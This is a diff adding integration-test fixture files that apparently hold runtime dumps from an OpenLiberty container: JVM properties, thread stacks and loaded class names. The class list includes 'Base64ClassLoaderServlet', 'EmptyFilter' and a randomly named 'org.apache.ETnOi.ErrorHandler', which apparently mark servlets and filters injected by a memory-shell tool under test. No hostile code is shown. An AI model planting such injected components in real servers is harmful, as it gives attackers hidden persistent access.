java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"System defaultME : 0" #91 daemon [WAITING] on java.lang.Object@88d960a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at com.ibm.ws.sib.processor.utils.am.MPAlarmThread.run(MPAlarmThread.java:238) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1670) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable +com.ibm.ws.http.channel.internal.inbound.HttpInboundLink +com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink +com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper +com.ibm.ws.kernel.boot.Launcher +com.ibm.ws.kernel.boot.cmdline.EnvCheck +com.ibm.ws.kernel.boot.internal.KernelBootstrap +com.ibm.ws.kernel.launch.internal.FrameworkManager +com.ibm.ws.kernel.launch.internal.FrameworkManager$4 +com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl +com.ibm.ws.kernel.launch.internal.ServerCommandListener +com.ibm.ws.objectManager.FileLogOutput$FlushHelper +com.ibm.ws.objectManager.FileLogOutput$NotifyHelper +com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper +com.ibm.ws.security.jaspi.JaspiServletFilter +com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread +com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager +com.ibm.ws.sib.processor.utils.am.MPAlarmThread +com.ibm.ws.tcpchannel.internal.ChannelSelector +com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback +com.ibm.ws.tcpchannel.internal.WorkQueueManager +com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker +com.ibm.ws.threading.internal.BoundedBuffer +com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper +com.ibm.ws.util.BoundedBuffer +com.ibm.ws.util.ThreadPool +com.ibm.ws.util.ThreadPool$Worker +com.ibm.ws.webcontainer.WebContainer +com.ibm.ws.webcontainer.filter.FilterInstanceWrapper +com.ibm.ws.webcontainer.filter.WebAppFilterChain +com.ibm.ws.webcontainer.filter.WebAppFilterManager +com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2 +com.ibm.ws.webcontainer.servlet.CacheServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapper +com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40 +openj9.internal.tools.attach.target.CommonDirectory +openj9.internal.tools.attach.target.IPC +openj9.internal.tools.attach.target.WaitLoop +org.apache.ETnOi.ErrorHandler +org.apache.felix.scr.impl.ComponentActorThread +org.apache.yoko.orb.OB.GIOPServerStarterThreaded +org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter +org.apache.yoko.orb.OCI.IIOP.Acceptor_impl +org.eclipse.osgi.container.SystemModule +org.eclipse.osgi.framework.eventmgr.EventManager$EventThread +org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle +org.eclipse.osgi.launch.Equinox diff --git a/integration-test/src/test/resources/infos/OpenLiberty22ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/OpenLiberty22ContainerTestBasicInfo.txt new file mode 100644 index 00000000..c34dda5d --- /dev/null +++ b/integration-test/src/test/resources/infos/OpenLiberty22ContainerTestBasicInfo.txt @@ -0,0 +1,1067 @@ +# Generated At 2025-12-21 06:38:05 +SystemProps: +awt.toolkit: sun.awt.X11.XToolkit +java.specification.version: 11 +com.ibm.ws.beta.edition: false +sun.jnu.encoding: UTF-8 +wlp.install.dir: /opt/ol/wlp/ +wlp.workarea.dir: workarea/ +sun.arch.data.model: 64 +com.ibm.vm.bitmode: 64 +java.vendor.url: https://www.ibm.com/semeru-runtimes +server.output.dir: /opt/ol/wlp/output/defaultServer/ +sun.boot.library.path: /opt/java/openjdk/lib/default:/opt/java/openjdk/lib +sun.java.command: /opt/ol/wlp/bin/tools/ws-server.jar defaultServer +java.specification.vendor: Oracle Corporation +java.version.date: 2023-04-18 +java.home: /opt/java/openjdk +org.apache.aries.blueprint.preemptiveShutdown: false +ibm.signalhandling.rs: false +shared.config.dir: /opt/ol/wlp/usr/shared/config/ +jdk.extensions.name: Extensions for OpenJDK for Eclipse OpenJ9 +file.separator: / +line.separator: + +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +jdk.attach.allowAttachSelf: true +sun.java.launcher.pid: 1 +org.apache.cxf.stax.allowInsecureParser: 1 +java.awt.fonts: +wlp.process.type: server +server.config.dir: /opt/ol/wlp/usr/servers/defaultServer/ +java.fullversion: 11.0.19+7 +JRE 11 Linux amd64-64-Bit Compressed References 20230523_750 (JIT enabled, AOT enabled) +OpenJ9 - d57d05932 +OMR - 855813495 +JCL - 629eb0c22b based on jdk-11.0.19+7 +java.runtime.version: 11.0.19+7 +user.name: default +file.encoding: UTF-8 +sun.net.http.retryPost: false +java.vendor.version: 11.0.19.0 +ibm.cds.suppresserrors: true +ibm.signalhandling.sigchain: true +java.io.tmpdir: /tmp +java.version: 11.0.19 +com.ibm.system.agent.path: /opt/java/openjdk/lib +java.vm.specification.name: Java Virtual Machine Specification +java.awt.printerjob: sun.print.PSPrinterJob +os.encoding: UTF-8 +shared.resource.dir: /opt/ol/wlp/usr/shared/resources/ +java.library.path: /opt/java/openjdk/lib/default:/opt/java/openjdk/lib:/usr/lib64:/usr/lib +kernel.launch.time: 376504867550954 +java.vendor: IBM Corporation +ibm.system.encoding: UTF-8 +sun.io.unicode.encoding: UnicodeLittle +shared.app.dir: /opt/ol/wlp/usr/shared/apps/ +osgi.checkConfiguration: false +file.encoding.pkg: sun.io +jdk.extensions.version: 11.0.19.0 +wlp.user.dir.isDefault: true +java.class.path: /opt/ol/wlp/bin/tools/ws-server.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar +wlp.lib.dir: /opt/ol/wlp/lib/ +java.vm.vendor: Eclipse OpenJ9 +user.variant: +server.logs.dir: /logs/ +com.ibm.oti.vm.library.version: 29 +user.timezone: Etc/UTC +java.vm.specification.version: 11 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.cpu.endian: little +org.jboss.weld.xml.disableValidating: true +user.home: /home/default +user.language: en +wlp.user.dir: /opt/ol/wlp/usr/ +java.compiler: j9jit29 +com.ibm.util.extralibs.properties: +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.awt.headless: true +com.ibm.oti.configuration: scar +com.ibm.oti.shared.enabled: true +com.ibm.oti.vm.bootstrap.library.path: /opt/java/openjdk/lib/default:/opt/java/openjdk/lib +wlp.server.name: defaultServer +com.ibm.cpu.endian: little +path.separator: : +os.version: 6.17.8-orbstack-00308-g8f9c941121b1 +java.runtime.name: IBM Semeru Runtime Open Edition +ibm.signalhandling.sigint: true +org.eclipse.openj9.criu.isCRIUCapable: true +java.vm.name: Eclipse OpenJ9 VM +wlp.var.src.dirs: /opt/ol/wlp/usr/servers/defaultServer/variables/ +server.tmp.dir: /opt/ol/wlp/output/defaultServer/workarea/tmp/ +java.vendor.url.bug: https://github.com/ibmruntimes/Semeru-Runtimes/issues +com.ibm.ws390.jta.TransactionManager: com.ibm.wsspi.zos.tx.RRSTXSynchronizationManager +user.dir: /opt/ol/wlp/output/defaultServer +os.arch: amd64 +javax.management.builder.initial: com.ibm.ws.kernel.boot.jmx.internal.PlatformMBeanServerBuilder +java.util.logging.manager: com.ibm.ws.kernel.boot.logging.WsLogManager +java.vm.info: JRE 11 Linux amd64-64-Bit Compressed References 20230523_750 (JIT enabled, AOT enabled) +OpenJ9 - d57d05932 +OMR - 855813495 +JCL - 629eb0c22b based on jdk-11.0.19+7 +java.vm.version: openj9-0.38.0 +com.ibm.jcl.checkClassPath: +java.class.version: 55.0 + +=========================================== + +ThreadStacks: +"Finalizer thread" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Framework Event Dispatcher: Equinox Container: 0f0cbcf6-4860-46b1-8ce1-123bf2ec2b3b" #38 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@e337f73e + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341) + +"Default Executor-thread-10" #82 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@5090e2a1 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-9" #81 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fb9e56f4 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"NotifyHelper" #68 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$NotifyHelper@5e73e303 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.objectManager.FileLogOutput$NotifyHelper.run(FileLogOutput.java:3340) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-002" #5 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"SCR Component Actor" #47 daemon [WAITING] on java.util.LinkedList@5aeddc21 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.base/java.lang.Thread.run(Unknown Source) + +"Equinox start level thread - Equinox Container: 0f0cbcf6-4860-46b1-8ce1-123bf2ec2b3b" #44 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bbe98a88 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-20" #99 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@1f938da2 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"GC Worker" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"sib.SpillDispatcher-56504D5B701409AB-6" #78 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@6bbaccaf + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-14" #90 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a35e36c9 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Timer-5" #48 daemon [TIMED_WAITING] on java.util.TaskQueue@f4c0a78e + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"Default Executor-thread-15" #91 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@841c6137 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Timer-4" #45 daemon [WAITING] on java.util.TaskQueue@e5929af2 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"Inbound Write Selector.1" #105 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-6" #63 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@8fe22618 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Attach API wait loop" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/openj9.internal.tools.attach.target.IPC.waitSemaphore(Native Method) + at java.base/openj9.internal.tools.attach.target.CommonDirectory.waitSemaphore(Unknown Source) + at java.base/openj9.internal.tools.attach.target.WaitLoop.waitForNotification(Unknown Source) + at java.base/openj9.internal.tools.attach.target.WaitLoop.run(Unknown Source) + +"Default Executor-thread-7" #64 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fe3ff0a6 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-001" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"sib.SpillDispatcher-56504D5B701409AB-7" #79 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@b4ad1b5 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.base/java.lang.Thread.run(Unknown Source) + +"System defaultME : 0" #80 daemon [WAITING] on java.lang.Object@d5fa2017 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.processor.utils.am.MPAlarmThread.run(MPAlarmThread.java:238) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1669) + +"Config-Thread-8" #49 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2d908628 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"FlushHelper" #69 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$FlushHelper@17c9757d + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.objectManager.FileLogOutput$FlushHelper.run(FileLogOutput.java:2535) + at java.base/java.lang.Thread.run(Unknown Source) + +"Active Thread: Equinox Container: 0f0cbcf6-4860-46b1-8ce1-123bf2ec2b3b" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a20ed765 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"System defaultME : 1" #83 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@4cb8b91 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:345) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:816) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:901) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1675) + +"GC Worker" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ClassloaderMapProcessingThread-22" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2407cbc9 + java.lang.Thread.State: WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-16" #92 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d3820d4c + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"CheckpointHelper" #70 daemon [WAITING] on com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper@fc3b9315 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper.run(ObjectManagerState.java:3223) + at java.base/java.lang.Thread.run(Unknown Source) + +"reaper logger" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8fb84728 + java.lang.Thread.State: WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.take(ZipFileReaper.java:256) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.run(ZipFileReaper.java:228) + at java.base/java.lang.Thread.run(Unknown Source) + +"IProfiler" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Liberty-kernel-CpuInfo" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d0321469 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Diagnostic Compilation Thread-007 Suspended" #10 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JIT Compilation Thread-000" #3 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-6" #58 daemon [WAITING] on java.util.TaskQueue@cf72bec9 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"Connect Selector.1" #110 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-006" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Common-Cleaner" #2 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue@78d8e181 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + at java.base/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"Inbound Write Selector.1" #107 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.base/java.lang.Thread.run(Unknown Source) + +"process reaper" #65 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5f7dc6cc + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(Unknown Source) + at java.base/java.util.concurrent.SynchronousQueue$TransferStack.transfer(Unknown Source) + at java.base/java.util.concurrent.SynchronousQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-19" #98 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@1fbd1762 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at 